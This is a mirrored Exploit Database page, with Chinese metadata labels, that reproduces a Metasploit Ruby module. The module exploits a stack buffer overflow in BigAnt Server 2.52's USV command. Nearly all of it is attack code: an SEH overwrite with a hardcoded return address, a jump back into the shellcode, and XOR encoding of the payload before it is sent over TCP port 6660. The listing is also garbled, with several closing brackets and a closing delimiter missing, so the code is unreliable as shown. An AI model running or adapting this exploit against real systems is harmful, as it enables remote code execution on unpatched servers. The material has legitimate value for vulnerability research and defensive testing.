BigAnt Server 2.52 – USV Buffer Overflow (Metasploit)

Exploit Database
113 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16426/

# $Id: bigant_server_usv.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::Tcp

include Msf::Exploit::Remote::Seh

def initialize(info = {})

super(update_info(info,

'Name' => 'BigAnt Server 2.52 USV Buffer Overflow',

'Description'=> %q{

This exploits a stack buffer overflow in the BigAnt Messaging Service,

part of the BigAnt Server product suite. This module was tested

successfully against version 2.52.

NOTE: The AntServer service does not restart, you only get one shot.

'Author' =>

[

'Lincoln',

'DouBle_Zer0',

'jduck'

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'OSVDB', '61386' ],

[ 'URL', 'http://www.exploit-db.com/exploits/10765' ],

[ 'URL', 'http://www.exploit-db.com/exploits/10973' ]

'Privileged' => true,

'DefaultOptions' =>

{

'EXITFUNC' => 'seh',

'Payload'=>

{

'Space'=> (218+709+35),

'BadChars' => "\x2a\x20\x27\x0a\x0f",

# pre-xor with 0x2a:

#'BadChars' => "\x00\x0a\x0d\x20\x25",

'StackAdjustment' => -3500,

'Platform' => 'win',

'Targets'=>

[

[ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3

'DefaultTarget' => 0,

'DisclosureDate' => 'Dec 29 2009'))

register_options([Opt::RPORT(6660)], self.class)

end

def exploit

connect

sploit = ""

sploit << payload.encoded

sploit << generate_seh_record(target.ret)

sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string

sploit << rand_text_alphanumeric(3)

sploit << [0xdeadbeef].pack('V') * 3

# the buffer gets xor'd with 0x2a !

sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")

print_status("Trying target #{target.name}...")

sock.put("USV " + sploit + "\r\n\r\n")

handler

disconnect

end